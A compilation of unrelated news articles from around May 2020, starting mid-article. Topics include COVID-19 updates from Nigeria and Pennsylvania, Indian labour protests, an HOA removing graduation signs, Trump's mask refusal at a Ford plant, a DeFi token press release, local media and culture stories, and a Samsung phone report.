"We wish to reiterate that this drug has not being certified for use in treating COVID-19 in Nigeria by the relevant health and pharmaceutical authorities," he said, adding self-medication of any kind is fraught with the danger of increasing risks of avoidable casualties.

The PTF chairman advised people who are sick to seek medical advice. "If you are confirmed positive, kindly self-isolate in an approved facility. the COVID-19 is highly infectious and dangerous," he said.

Late Thursday, the Nigeria Center for Disease Control (NCDC) reported 339 new confirmed cases of COVID-19 in the country, bringing the total to 7,016 and the death toll to 211.

The health agency said most of the fatalities recorded from COVID-19 were cases with other underlying illnesses. Enditem
Ten central trade unions on Friday held protests across the country to oppose suspension and tweaking of labour laws by states.

Hunger strike, demonstrations and processions were observed by workers at several places to press for withdrawal of "draconian changes" in labour laws, a joint statement by the trade unions said.

Several other trade unions active at national and state level also joined the call of nationwide protest by central unions, it said.

A joint petition by thecentral trade unions (CTUs) was submitted to the Prime Minister via email.

The petition included the demands such as immediate relief to stranded workers for ferrying them safely to their homes, food to be made available to all, ensure wages to all for entire lockdown period and cash transfer of Rs 7,500 to non-income tax paying households, including unorganized labour force for at least three months to June.

The employees and workers from independent federations and associations such as banks, insurance, defence, telecom, central and state government employees etc. organised solidarity actionsby wearing black badges in some cases and lunch hour meetings in other establishments and some participating in the action programmes directly.

The unions of oil sector in Assam and Arunachal Pradesh were also in protest action, the statement said.

Coal unions in Jharkhand, Chhattisgarh, Odisha, Telengana, Madhya Pradesh and Maharashtra were in protest action.

Hunger strike was resorted to in several states at some selected spots such as in Delhi, Karnatka, Assam, Bihar, Chhatisgarh, Punjab, Tamil Nadu, Pudduchery, Orissa and Andhra Pradesh, it added.

In Tamil Nadu, protests were organized at 10,000 places with more than 2 lakh people. The programmes in Kerala were organised at 5,000 places with participation of more than 1 lakh persons, it claimed.

In Maharashtra, the programmes could be organized in about 36 districts. In Haryana and Punjab the programmes were held in almost all districts and memorandum submitted to DC offices in several of them.

In Odisha also, the programmes were organised in all the districts as well as in the industrial ares of Rourkela, Sambalpur,Paradeep or in NCL areas. Protests in major towns and industrial areas of other states were organised.

In Delhi, some of the national leadership of the central trade unions participated in the hunger strike at Gandhi Samadhi, Rajghat.

Some of the protesting leaders were arrested and taken to Rajendra Nagar police station.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
MISSION VIEJO, CA  They say it takes a village to raise a child, and it takes a neighborhood to support them. Residents of a Mission Viejo neighborhood banded together this week after graduation yard signs were removed by their homeowners association. Within 24 hours, the homeowners association's management company did an about-face on the removals, at least for a while.

On Wednesday, Patch learned that the Mirasol HOA neighborhood of graduating seniors  and promoting elementary and middle schoolers  were not allowed to have graduation announcements in their front yards. Instead of being told to remove them, a homeowners association board member did the sign removal herself, according to a parent.

Patch reported on the uprooting of the yard signs, and families described what the sudden loss of celebratory signs meant to them during a season of lost milestones. Read: HOA Removes Mission Viejo Grads' Yard Sign Celebration: Residents

Patch also asked neighbors to share their thoughts on the situation. In response, almost 100 readers shared their support, ranging from asking "why?" to wondering about the legal ability to remove an item from someone's property without first notifying them of the action.

Reader Jan Haley-Soule described the heartbreak that she said parents must have felt. "This is not a political sign, a sign that expresses a belief," she wrote. Haley-Soule said she has helped her now-grown children through earthquakes, fires and even a hurricane. But helping a child find normalcy during something no one had experienced in their lifetime? "I cannot imagine what the parents of today are telling their children, because no one knows the answers. We need to support these parents in trying to find some normalcy in their children's lives. Shame on the person who took the signs."

"This is a petulant move by a Board member that is nothing short of Dickens' Scrooge, well before the revelation," Paul Snapp wrote to Patch. "She could not allow a minor, nonoffensive way to celebrate a canceled milestone in many peoples' lives?"

Story continues

Reader Kim told Patch that she drove down her street today and saw a family "decorating their front yard for their daughter's graduation."

"It brought tears to my eyes," she said.

Cheryl Branson, another Mission Viejo resident, wrote that she "was appalled by the actions of the board member who removed the signs."

"The quarantine has robbed all the parents of the proud moments of pride they expected to feel as their son or daughter walked up to the stage and received their diploma," Branson wrote.

"The signs were sent out by the schools!" she added. "Maybe your board should consider reimbursing the districts who paid for the signs."

There were no reader responses or comments in favor of the sign removals.

Patch also had reached out to the Mirasol Homeowners Association, and to Total Property Management Co., which oversees the Mirasol HOA.

On Thursday, Jerri Boone, the executive director of Total Property Management Co., responded to Patch and said the yard signs had been returned or were available to residents who identified and requested them.

"Residents are allowed to display the signs within the community through the end of June," Boone said. She added that both the board and management "regret any inconvenience or insensitivity during this time."

For the families who lost their signs Wednesday, things are a bit brighter now.

Dad Josh Smisko received his son Jake's fifth grade graduation sign back from the association. Still, he is smarting from the action that removed it in the first place.

"These fifth graders are missing out on their spelling bee (of which he is a defending champion at his school), a carnival, a millionaire readers club, lake party, a school' clap out,' yearbook signing, and their ceremony in front of friends and family," Smisko tells us. "Taking his sign was pretty petty on top of everything else they are missing out on."

Still, the Smisko family replaced the sign and is displaying it alongside a replica that was drawn by Jake's little brother.

For Santa Margarita Catholic High School senior Sofia Muratalla, the sadness at having her graduation signs taken wasn't about the sign itself.



To her, the meaning was deeper.

After having been accepted into Texas Christian University in the fall, she had felt life was "falling into place," she told Patch.

Then, when her graduation yard sign mysteriously disappeared, along with those of other kids in the neighborhood, it wasn't the physical signs that mattered. It was what they represented.

She has found a "juxtaposition" of the quarantine life in the book, "The Great Gatsby," which she used in her final arts project for Santa Margarita Catholic High School Advanced Painting class.

"It takes place in the 1920s, 100 years ago, during another pandemic," she said. "The moral of the story is the reason as to why Gatsby is 'great.' He is the only person who held on to hope."

Sofia shared an image of that painting "to give back hope to the people who need it most, right now."



To her, this experience has been a lesson in gratitude.

"To me," Sofia explains, "these little signs show gratitude that will bring this generation closer together; no matter if you are graduating from fifth, eighth,12th grade or college, we are being called on to make our world a better place after this crisis."



Do you have a message to the graduating classes of 2020? Let us know in comments, or email your Patch editor: Ashley.Ludwig@Patch.com

Don't miss local and statewide news about coronavirus developments in California. Sign up for Patch alerts and daily newsletters.

Read also:

HOA Removes Mission Viejo Grads' Yard Sign Celebration: Residents

Santa Margarita Catholic High School 2020 Graduating Class



Coronavirus In California: What To Know Week Of Monday, May 18

This article originally appeared on the Mission Viejo Patch
As of 12 p.m. May 22, 2020, the Pa. Department of Health reports that there are 66,258 confirmed and probable cases of COVID-19 in Pennsylvania. There are at least 4,984 reported deaths from the virus.

Click the image to see a data page including an interactive maps for the state. (Please click the link in the previous sentence if you cant see the image)

Click here for a ZIP code breakdown of cases provided by the Pa. Department of Health.

The state is also providing detailed hospital and respirator data here for desktop users and here for mobile users.

PennLive is monitoring the new cases over a two-week period, part of the Wolf administrations criteria for reopening the state. A map and a database for these are below. If you cannot see either embed, please click here for the map and here for the database.

Below is a map of the current reopening status of Pennsylvania counties. Please click here if you cannot see that map.

Adams County

214 positive cases and 2,418 negative results with 5 deaths.

Allegheny County

1,739 positive cases and 25,517 negative results with 154 deaths.

Armstrong County

58 positive cases and 1,099 negative results with 2 deaths.

Beaver County

550 positive cases and 3,122 negative results with 71 deaths.

Bedford County

36 positive cases and 601 negative results with 2 deaths.

Berks County

3,838 positive cases and 9,867 negative results with 283 deaths.

Blair County

46 positive cases and 2,292 negative results with 1 death.

Bradford County

43 positive cases and 1,272 negative results with 3 deaths.

Bucks County

4,764 positive cases and 16,192 negative results with 454 deaths.

Butler County

209 positive cases and 3,325 negative results with 12 deaths.

Cambria County

55 positive cases and 3,042 negative results with 2 deaths.

Cameron County

2 positive cases and 116 negative results.

Carbon County

224 positive cases and 1,948 negative results with 22 deaths.

Centre County

138 positive cases and 1,763 negative results with 5 deaths.

Chester County

2,320 positive cases and 9,921 negative results with 242 deaths.

Clarion County

25 positive cases and 628 negative results with 2 deaths.

Clearfield County

33 positive cases and 918 negative results.

Clinton County

48 positive cases and 474 negative results.

Columbia County

342 positive cases and 1,139 negative results with 29 deaths.

Crawford County

21 positive cases and 964 negative results.

Cumberland County

572 positive cases and 3,674 negative results with 43 deaths.

Dauphin County

1,049 positive cases and 8,426 negative results with 57 deaths.

Delaware County

6,060 positive cases and 17,041 negative results with 501 deaths.

Elk County

6 positive cases and 280 negative results.

Erie County

190 positive cases and 3,658 negative results with 4 deaths.

Fayette County

93 positive cases and 2,797 negative results with 4 deaths.

Forest County

7 positive cases and 63 negative results.

Franklin County

697 positive cases and 4,463 negative results with 28 deaths.

Fulton County

14 positive cases and 186 negative results with 1 death.

Greene County

27 positive cases and 688 negative results.

Huntingdon County

223 positive cases and 719 negative results with 1 death.

Indiana County

89 positive cases and 1,103 negative results with 4 deaths.

Jefferson County

7 positive cases and 453 negative results.

Juniata County

94 positive cases and 293 negative results with 4 deaths.

Lackawanna County

1,451 positive cases and 5,040 negative results with 148 deaths.

Lancaster County

2,736 positive cases and 13,286 negative results with 272 deaths.

Lawrence County

73 positive cases and 1,115 negative results with 8 deaths.

Lebanon County

892 positive cases and 3,926 negative results with 24 deaths.

Lehigh County

3,613 positive cases and 12,182 negative results with 197 deaths.

Luzerne County

2,620 positive cases and 9,271 negative results with 133 deaths.

Lycoming County

155 positive cases and 1,915 negative results with 12 deaths.

McKean County

11 positive cases and 474 negative results with 1 death.

Mercer County

102 positive cases and 1,303 negative results with 4 deaths.

Mifflin County

57 positive cases and 1,076 negative results with 1 death.

Monroe County

1,295 positive cases and 4,885 negative results with 97 deaths.

Montgomery County

6,366 positive cases and 28,819 negative results with 619 deaths.

Montour County

50 positive cases and 3,105 negative results.

Northampton County

2,842 positive cases and 11,306 negative results with 192 deaths.

Northumberland County

155 positive cases and 1,205 negative results with 2 deaths.

Perry County

43 positive cases and 579 negative results with 1 death.

Philadelphia County

17,057 positive cases and 48,077 negative results with 1196 deaths.

Pike County

475 positive cases and 1,807 negative results with 18 deaths.

Potter County

4 positive cases and 126 negative results.

Schuylkill County

560 positive cases and 3,881 negative results with 26 deaths.

Snyder County

35 positive cases and 341 negative results with 1 death.

Somerset County

37 positive cases and 1,431 negative results.

Sullivan County

2 positive cases and 80 negative results.

Susquehanna County

93 positive cases and 600 negative results with 15 deaths.

Tioga County

16 positive cases and 474 negative results with 2 deaths.

Union County

61 positive cases and 909 negative results with 1 death.

Venango County

8 positive cases and 448 negative results.

Warren County

3 positive cases and 313 negative results.

Washington County

134 positive cases and 3,713 negative results with 5 deaths.

Wayne County

115 positive cases and 833 negative results with 6 deaths.

Westmoreland County

436 positive cases and 8,001 negative results with 38 deaths.

Wyoming County

33 positive cases and 387 negative results with 7 deaths.

York County

895 positive cases and 11,373 negative results with 22 deaths.

This data is compiled from the Pa. Department of Health. The state will not be providing recovery data at this time.

Several counties have released their own data maps. Information reported at the county level may not be consistent with the state numbers. Those counties include:

Some medical systems have begun releasing discharge data. Those medical systems include:

Text PennLive to 717-745-7532 to sign up to have breaking news and essential updates about the coronavirus delivered right to your mobile device. Data and messaging rates may apply.

-- Follow Ed Sutelan on Twitter, @EdwardSutelan

Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work.
This portion of the Cygnus Loop Supernova remnant, situated between the Veil and Witch's Broom Nebulae, is commonly known as Pickering's Triangle. However, it was one of his employees at Harvard College Observatory, Willamina Fleming, who actually discovered this nebula while examining a photographic plate. However, as was the custom of the time, the credit went to Pickering. Pickering was a progressive man, employing many women at the observatory, several of whom made major contributions to astronomy, including Annie Jump Cannon, Antonia Maury, and Cecilia Payne. But it is high time Fleming received at least partial credit for her triangle, so I am re-naming it Picker-Flem-ing's Triangle Fleming also discovered the Horsehead Nebula and the first white dwarf, 40 Eridani B.Image Data:Telescope/Mount: Celestron Compustar C14Camera: SBIG STL 11000M with Baader Planetarium Ha, R, G, and B filters.Adaptive Optics: SBIG AO-L at 8HzLocation: Pommier Observatory, Portland, OR, USADates: 2017-07-17 through 2019-08-20Exposures: Ha:R:G:B = 690:210:190:225 minutes = 21 hours, 55 minutes total exposure.See additional astrophotographs at www.rodpommier.com
The last Monday in May, designated as Memorial Day, is often considered by residents of the United States as the first day of summer, although the official day this year will occur almost one month later on Sunday, June 20. Families gather together to celebrate family traditions, engage in competitive games, plan and create tasty treats and enjoy conversations while sharing memories. Unfortunately, we often forget the symbolism of the day and this weekend is your chance to enjoy your time together while also reflecting on the true meaning of Memorial Day.



While the COVID-19 pandemic has limited our ability to gather together in large venues to remember our fallen patriots, we can still commemorate their service while simultaneously limiting exposure.



These three reminders, providing opportunities for you to have a conversation with your family or take a few minutes and join in a Memorial Day observation.



1. It's Never A "Happy Memorial Day."

We celebrate three distinct military-related holidays in the United States. Armed Forces Day, commemorated on the third Saturday in May, honors those men and women currently serving in the armed forces. Memorial Day, the final Monday in May, is a solemn day when the nation pauses to remember our military dead - - those who died during active duty or during the years post service. Veterans Day, formerly Armistice Day, is celebrated on November 11 and is a day to honor our living veterans and recognize their service and the sacrifices of their families.



While you should greet a current member of the military with a Happy Armed Forces Day! and a veteran with a Happy Veterans Day  Thank You for Your Service!, it is never appropriate to say Happy Memorial Day. For those families who have lost a son or daughter  husband or father in combat or in the years since, the truth is that every day is a mini-Memorial Day but Memorial Day is a day of intense and often mixed emotions. A Gold Star Mother may feel tremendous pride for her son or daughters heroism and dedication to a higher purpose and, at the same time, feel intense grief. On Memorial Day, the U. S. flag on that fallen warriors grave speaks volumes about the cost of freedom and the willingness to fight tyranny and despotism that have been a part of each American generation. It is a solemn day and might appropriately include a visit to the Chattanooga National Cemetery for the commemorative service, a lighting of a candle and prayers in your place of worship or your home and a brief conversation with the younger members of your family about the purpose of the day. Then, you should indeed celebrate family and traditions - - and eat lots of great foods, especially desserts!



2. Include A Mini-History Lesson In Your Memorial Day.



Our nations commemoration of our fallen warriors has always included moments of reflection and remembrance  even long before there was a designated day known as Memorial Day. As we glance back through history, a time to mourn those who have died in service to their nation or state seems to be a universal theme.



Do you remember studying The Odyssey while in school? Recall the vivid descriptions of fallen heroes being borne home amidst the crowds saluting their valor? The monuments scattered across continents remind us of the unbelievable acts of courage and sacrifice performed by otherwise ordinary individuals in their question for liberation and self-determination of government. It is altogether proper  to borrow a phrase  that we have one day in each year when as a nation we recall those fallen warriors in every era of our history.



Consider sharing this story with your family, especially the younger members. One of the first documented instances of an event similar to our Memorial Day occurred just three weeks after the end of the Civil War. Charleston, South Carolina had been the scene of Union POW camps where several hundred prisoners had died and been buried in a mass grave near the site of the citys Citadel. On May 1, 1865, more than one thousand recently freed slaves and several regiments of the U. S. Colored Troops, including the Massachusetts 54th Infantry of Glory fame and some white Charlestonians, marched to the mass grave for a memorial ceremony including hymns, scripture readings and the scattering of wild flowers. The image of former slaves mourning at the gravesite of soldiers who had fought for their liberation strikes a chord of remembrance.



You may find among your family members a person who remembers childhood Decoration Days at the family cemetery also involving songs, flowers and perhaps a potluck dinner on the grounds. Those impromptu commemorations often occurred in late May and early June - - reminders of early Memorial Days.



Families might choose the visit the recently reopened Charles H. Coolidge National Medal of Honor Heritage Center. The exhibits highlighting our Medal of Honor recipients and the character traits, including courage, sacrifice, commitment and integrity, encourage meaningful conversation about local service to others. Utilizing the safety guidelines related to COVID-19 to safeguard visitors including limited ticket purchases and space considerations, staff will assure families a safe and meaningful visit.



3. Create A Family Tradition.



Perhaps your family tradition is to gather for a spectacular dinner, fireworks and storytelling. Find a photograph of your grandfather who fought in World War II but died before the youngest members of the family were born. Gather photos of all the deceased veterans in your family and talk family history. Memorial Day is a perfect time for recalling the stories you remember hearing him share about each persons childhood, service, the first time he/she saw his spouse, etc. You might want to record those conversations for future viewing. How many of us wish we had captured family moments that can no longer be recalled with clarity?



You might want to visit the cemetery at some point during the day and place a few fresh flowers on the grave and have a brief conversation with your Memorial Day hero. Speaking the names of the fallen aloud helps guarantee that they will be remembered always.



Join your community in a commemorative service. While the annual Memorial Day service at the Chattanooga National Cemetery will not occur this year, visitors are welcomed for their own private remembrance. A walk to Monument Hill and a pause at the granite reminders of those who served gives purpose to the day. A short stroll from the hillside will bring to you to the site of seven Medal of Honor recipients who rest in that hallowed cemetery. The incomparable Desmond Doss, MOH, who shunned fame and gave all the glory to his Father, lies only feet away from the hilltop flag. The courageous men of Andrews Raiders, including four MOH recipients, are buried just inside the gates on Holtzclaw Avenue. The graves of Master Sergeant Ray Duke, MOH, Korean War and Private William F. Zion, MOH, Boxer Rebellion can be identified via the Grave Site Locator outside the office. Both are prime examples of those characteristics that distinguish Medal of Honor recipients Simply standing at the intersection of Eisenhower and MacArthur, gazing at the Armed Forces Pavilion and the nearby reflecting lake, is a poignant moment.



However you choose to recall the sacrifices that have allowed our nation to continue forward toward our dream of liberty, equality and justice, it will be time well spent. Memorial Day is the perfect moment each year to reaffirm your own commitment to the completion of that dream for all citizens. Pausing during this period of our semi-quarantined lives can provide healing and enrichment that will accompany each of us during long, hot days of an uncertain Chattanooga summer. One of the positive results of this unprecedented time in our lives is the recognition that reflection on the past is good.



Linda Moss Mines is the Chattanooga and Hamilton County historian, the regent of the Chief John Ross Chapter, NSDAR and the vice-president for Education, Coolidge National Medal of Honor Heritage Center. She can be reached at localhistorycounts@gmail.com.
Slate is making its essential coronavirus coverage free for all readers. Subscribe to support our journalism.

During a visit to a Ford plant in Michigan Thursday, President Donald Trump made very clear that he doesnt want to be seen wearing a face mask. The government that Trump leads, however, wants all Americans to wear face coverings in public; its even purchasing tens of millions of dollars worth of them. Most states now require, by law, people to wear masks in public spaces to prevent the spread of the coronavirus. Its one of the concessions of trying to reopen parts of the economy and restart daily life. But the president of the United States wont do it. Actually, thats not totally accurateTrump briefly wore a mask during a portion of his visit to the plant thats been refitted to produce ventilators, but then stripped it off for the public portions of his visit, including a roundtable about vulnerable populations with black leaders.

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Ford says company execs encouraged Trump to wear a mask upon arrival after notifying the White House previously of its updated safety measures aimed at protecting workers. That worked briefly, executive chairman Bill Ford said in a statement before explaining that the president later removed the mask for the remainder of the visit.

President Trump wears a mask during his tour of the Ford Rawsonville Components Plant in Ypsilanti, Michigan, where ventilators, masks and other medical supplies are being manufactured. https://t.co/UCqBVUEuBZ



 Anonymous pic.twitter.com/eiIFVNPVIh  NBC News (@NBCNews) May 22, 2020

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When Trump emerged from the tour to address the media, everyone was wearing a face covering except the president. I wore one in this back area, but I didnt want to give the press the pleasure of seeing it, Trump told reporters, showing off a dark-blue mask with a presidential seal. Trump said he later took it off because Ford executives said he could. I had one on in an area where they preferred it, so I put it on and it was very nice. But they said, Not necessary here,  Trump said. When Bill Ford was asked to confirm this, he responded: Its up to him.

BREAKING: Trump claims he wore a mask at Ford facility but wont wear in front of press because I didnt wanna give the press the pleasure of seeing it. Ridiculous. #MakeTrumpWearAMask pic.twitter.com/LxwDwDZPEq  Scott Dworkin (@funder) May 21, 2020

I think I look better in the mask, Trump joked to reporters during the visit. Im making a speech, so I wont have it on now. The states governor and attorney general sharply criticized Trumps unwillingness to abide by Democratic Gov. Gretchen Whitmers executive order requiring face coverings. This is the same president that said he is taking the unproven, potentially dangerous treatment hydroxychloroquine as a precautionary measure after a number of infections in the White House.

For more of Slates news coverage, listen to What Next: TBD.
[May 22, 2020] Non-Player-Character White Paper is released

TAIYUAN, China, May 22, 2020 /PRNewswire/ -- Decentralized finance (DeFi) continues to prove feasible as it has been deployed in thousands of applications since the concept was born in 2017. DeFi, a new financial ecosystem based on blockchain characterized by decentralization and the smart contract, started gaining traction in 2019 as one of the most valuable and important application scenarios for blockchain as it is more open, safe and efficient than the traditional financial system. The huge potential of DeFi was manifested in the strong momentum it saw in 2019. That momentum is expected to continue. On March 12, 2019, Bitcoin crashed in a matter of minutes, negatively impacting the DeFi sector in a most pronounced manner. With the ongoing rebound in Bitcoin prices, DeFi continues to recover from that untoward event. The White Paper on Non-Player-Character (NPC), a new program designed to facilitate the application of DeFi, was released recently, attracting widespread attention within the community. The paper presents a full picture of the plan for the program's strategic development, covering all aspects of the DeFi including Background, Concept and Mission, Underlying Technology, Architecture, Economic Model, Application Scenarios, Roadmap and Governance Structure. The document provides a blueprint for furthering the implementation of DeFi by creating an open, transparent and beneficial solution enhanced by an autonomous ecosystem. NPC presents an initial outline of the technical, application and community structures tat form the pillars of a distributed financial ecosystem which allows super volunteers from all over the world to leverage their skills to help develop a wide range of technological applications and communities with open tools and standards, instead of controlling the ecosystem with a centralized organization. The program aims to disrupt the traditional business architecture with a new, innovative and open distributed business and financial system backed by the integration of technology, community and application.



In contrast with other functional DeFi programs, NPC aims to work with super volunteers, who play a key role in promoting the program, to build a decentralized financial ecosystem equipped with underlying blockchain technologies, diversified applications and dynamic communities, rather than serving as an update or an alternative to traditional financial instruments. Notably, the NPC program is led by an international team consisting of financial and blockchain experts from around the world. Brought together as members of an open-source NPC community, the team is accelerating the building of the ecosystem backed by deep and extensive research.

With the release of the initial white paper, the NPC team is taking an innovative approach to building the ecosystem. With the new two-layer economic model, the team is developing a governance system based on two tokens: NPC Point and NPC Coin. NPC Point, a general point that can be applied across the ecosystem, is used to measure the readiness of the DeFi ecosystem backed by the integration of large communities. NPC Coin, an equity token for each of the communities, is a proof of the value created by DeFi applications. The token can be used for fundraising, sharing of the benefits from the ecosystem, governance and voting, dividend payout, mutual support among communities and the prospective delivery of value to NPCP. In addition, the token can be entered in the ledger of the NPCP network as a record of the sharing of earnings and transferred to ETH and other major public chains. The model is designed to implement the ideas of value investing and autonomous community. In addition to supporting the quality-based development of the NPC distributed financial ecosystem, the model also protects the interests of each of the community members. Besides the three proven DeFi applications in the market, P2P, capital pools and stable coins, NPC also provides guidance on building the structures of staking and mutual finance applications. As the ongoing development of the entire community ecosystem is based on a strong consensus, DeFi will benefit from accelerated implementation and model upgrades with the support of NPC. Taking into account the deficiencies of the traditional financial system, the NPC program will strive to help shape a world of free economy bringing together everything via finance by developing and optimizing real-world applications across scenarios. SOURCE NPC community

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Syracuse, N.Y.  NewsChannel 9 (WSYR-TV) anchor Jennifer Sanders is leaving the Syracuse TV station, she announced late Thursday night.

BITTERSWEET NEWS, she wrote on Facebook. This is so hard to share. May 29th is my last day at NewsChannel 9. I am headed back home to Texas where I will be working at our phenomenal sister-station in Austin.

Sanders has worked at NewsChannel 9 for nearly a decade, and replaced Staci-Lyn Honda as The Morning News anchor in 2015.

I honestly...for once...am at a loss for words," she wrote. "I am beyond thrilled to be with my family and dear friends. But Central New York is also home. I landed here eight years ago and I didnt know a single soul. I was living in a hotel and questioning if I made the right decision. Within a month, God showed me I had actually made the best decision of my life. It didnt take me long to fall in love with Central New York and the amazing people who I once called friends...but now I have the honor of calling them family. My love runs so incredibly deep for this place.

During her time in Syracuse, Sanders launched a new series at WSYR-TV called Victory Over Violence, produced documentaries and was nominated for an Emmy Award. She also interviewed big names like Oprah Winfrey and Trevor Noah, served as adjunct faculty at Syracuse Universitys Newhouse School, co-hosted The Ladies Room podcast, and gave back to the community through the Syracuse City School District mentoring program and sat on the board of directors for Vera House, Inc., a non-profit working to end domestic and sexual violence in Central New York.

To all of the community organizations that allowed me to carry out your mission...thank you, thank you, thank you. To all the amazing mentors and thought partners (you all know who you are) - I am so much better because of you," she wrote.

Lastly, to my NewsChannel 9 family. Wow. I love every single one of you so much. We are TRULY a family. We laugh together, cry together, celebrate the highs and the lows together, annoy each other, support each other, challenge each other....and we RIDE HARD for one another. There is something so special about our station. Newschannel 9 has literally changed the ENTIRE trajectory of my life and for that I will be forever grateful.

Its unclear who will replace Sanders on NewsChannel 9. syracuse.com | The Post-Standard has reached out to the Nexstar-owned news station for comment.

Sanders began her journalism career in her home state of Texas after she earned her bachelors degree at Texas Lutheran University and her masters degree at the University of North Texas.

From the bottom of my Texas heart - I LOVE YOU CENTRAL NEW YORK, Sanders wrote.
In the sounds of gongs, drums, and suona horns, Liu Lisha, head of a Hebei Clapper Opera troupe in Shijiazhuang, capital of north Chinas Hebei province, strode onto the stage with an ancient army flag, and started to perform a traditional Chinese opera Mu Guiying Gua Shuai (Mu Guiying Takes Command) for local residents in Nanlijiatuan village, Zhaoxian county, Shijiazhuang.

Liu is also a member of the National Committee of Chinese Peoples Political Consultative Conference (CPPCC). During the annual session of the CPPCC last year, she submitted a proposal for promoting the integration of traditional Chinese culture and tourism, while this year, her proposal highlights protecting and tapping into traditional Chinese opera.

In the central and southern areas of Hebei province where watching traditional operas is part of the everyday life of rural residents, almost every village has a stage. Every year, Liu and members of her troupe perform traditional Chinese operas in rural areas from the first month of the lunar year to the Dragon Boat Festival celebrated in the fifth month of the lunar year.

In recent years, local governments of Shijiazhuang have intensified support for operas and programs featuring traditional Chinese culture through measures including paying for the shows performed for local residents. Hebei Clapper Opera troupes can get an allowance of 7,500 yuan (about $1,057) for each show they present.

Our troupe stages 200 shows in rural areas every year. We try our best to meet the needs of local people, Liu said.

Over the years, Lius troupe has often performed during temple fairs in rural areas. The dazzling juggling and products sold at temple fair, such as local specialties, clothes, snacks, and toys, can usually attract a lot of people from neighboring villages and even urban areas.

As she performed during such occasions, Liu found that some people were attracted by the troupes performance of Hebei Clapper Operas while strolling around at temple fairs.

Some people came to temple fairs specially for the show, according to Liu, noting that these people often stroll around and shop during intervals, and came back with snacks to continue enjoying the performance after the interval.

Performances of traditional Chinese operas and temple fairs in rural areas complement each other. The integration of them can not only meet peoples cultural needs, but also boost consumption in local areas, Liu said.

As a member of the National Committee of the CPPCC, Liu has always been thinking about how to carry forward and further develop traditional Chinese opera.

Inspired by the results of the integration of traditional Chinese opera performances and temple fairs, she submitted a proposal for promoting the integration of traditional Chinese culture and tourism to the CPPCC last year, suggesting that Hebei Clapper Opera performances should be presented near some scenic spots and historical sites.

On the Mid-Autumn Day last year, Hebei Clapper Opera troupe of Shijiazhuang staged a live-action performance Change Ben Yue (Change Flying to the Moon) in Zhengding old town in Shijiazhuangs Zhengding county.

Many tourists watched the performance. I walked around there and heard that a nearby shop selling Shaomai, a kind of steamed dumpling, saw its sales reach 100,000 yuan ($14,088) that day, though it doesnt have many customers normally, Liu said.

Some local traditional Chinese operas suffer greater loss of scripts than Hebei Clapper Opera. Today, our entire troupe can perform over 40 plays a year, while in the past, some senior artists could perform more than 100 plays alone in a year, said Liu, who hopes that local operas can be recorded with modern technologies.

We are often told by our audiences that they want to watch modern operas. And we are trying harder to write new plays, Liu disclosed.

With her proposals and idea of creating original plays all being based on what she has experienced, heard, seen, and thought of over years while performing for and talking with local residents, Lius proposals and new idea are bound to serve peoples cultural needs better once they are implemented properly.

Peoples satisfaction is the greatest encouragement to us, Liu said, adding that serving peoples cultural needs is the greatest honor and the most important responsibility for her.
Its been only three and a half years since Hurricane Harvey, a category 4 hurricane, ravaged our beloved city of Houston. Harvey impacted so many people, including me and my family; we had to evacuate in the middle of the night as water surged over the control channel near our street. But through it all, our community came together - supporting one another emotionally and physically. Since then, my mantra has been: If we can survive Harvey, we can survive anything!

Now, that optimism is being put to the test. The COVID-19 pandemic is applying stresses and strains such that we have never experienced before, and this time it involves our entire state as well as our nation. In the face of this challenge, more than ever we as leaders within the business community need to be strong for our employees. With so much uncertainty, weve got to reinforce and model the importance of honesty, transparency, and genuine concern for those were responsible for. We owe them that.

Lets face it, nothing could have prepared us for the shelter in place mandate that all businesses are going through. We have asked the world to literally stop its normal rhythms and movements, and the consequences have been dramatic. Fear, frustration, sadness - even anger - threaten to take over. Unless we consciously vow to do something about it. If this is the hand weve been dealt for the time being, then now is the time for leaders to lead; to support our employees by being there for them with open ears, hearts, and minds.

What does that mean?

Communicate - often

In a crisis like this, theres no such thing as over-communicating with employees. Neglecting to regularly stay in touch can be debilitating to the morale, spirit, and culture of any organization. Reach out with recurring updates. Let them know where things stand, be transparent, and let them know youre all in it together.

Share positive news, regardless of how small it is; even the smallest triumphs can begin to set the tone that things will turn around. Even bad news will be appreciated if youre up front about it. Your credibility as a leader is on the line; dont disappoint your employees - lead from up front, not from the back.

Embrace technology

This can be a great time to build a connection for those who are new to working from home. There are countless video meeting platforms that you can choose from to create a connection - consider a virtual coffee chat or happy hour to get your organization or teams together for a check-in.

Remember the human element: ask your people to share how theyre doing personally, rather than focusing exclusively on work.

Culture

In a crisis situation where everyone is impacted, the culture of your organization will be tested. But it also has the opportunity to reveal itself and shine as a beacon of hope for every employee. As a leader, model the values your organization stands for. Consider how history will record the ways in which you and your organization handled this unprecedented moment in time.

Although these are trying times for all of us in Houston and beyond, I remain optimistic that our business community will continue to come together to make us stronger and better than ever before.

Tandra Jackson is the KPMG office managing partner for the Houston major market.
Samsung appears to be working on a new version of the Galaxy A71 5G for Verizons network. The handset recently passed through Bluetooth and Wi-Fi certification processes with the model number SM-A716V. The Bluetooth certification also specifically mentions the device name as Galaxy-A71-5g US VERIZON.

Unlike other US mobile carriers, who offer low-band 5G (sub-6 GHz), Verizons 5G network is deployed using the mmWave technology (high band).

This means phone makers will have to add mmWave antennas in their 5G devices for Verizon to carry them. And this is precisely what Samsung is doing with the Galaxy A71 5G, similar to how it released a version of Galaxy S20 5G for Verizons network earlier this week.

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Launched last month, the original A71 5G only supports the sub-6 GHz. It will also be available in the US as an unlocked or carrier model on other networks.

Galaxy A71 5G will run on Snapdragon 765 in the US

The Galaxy A71 5G will be reportedly powered by the Qualcomm Snapdragon 765 chipset in the US. Folks over at XDA Developers have discovered a device with the name samsung_a71xq in a public database that lists upcoming devices that will support Verizons online services.

Here, a71 is the model number while x indicates 5G support. Lastly, the q at the end means itll have a Qualcomm processor. Since the A71 5G is a mid-range smartphone, it is highly unlikely to pack the Snapdragon 865 SoC, which will significantly add to the devices cost.

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So it could either have a Snapdragon 765 or 765G chipset. Further examining Samsungs FOTA testbed and some Geekbench listings, XDA confirmed that the US Galaxy A71 5G will have the Snapdragon 765 processor.

It will be one of the first smartphones in the US with that Qualcomm chipset. Other Snapdragon 765-powered devices, the LG Velvet, Nokia 8.3, and the Motorola Edge, are yet to make their debuts.

According to XDAs report, the Galaxy A71 5G could arrive in the US markets in late June or early July.

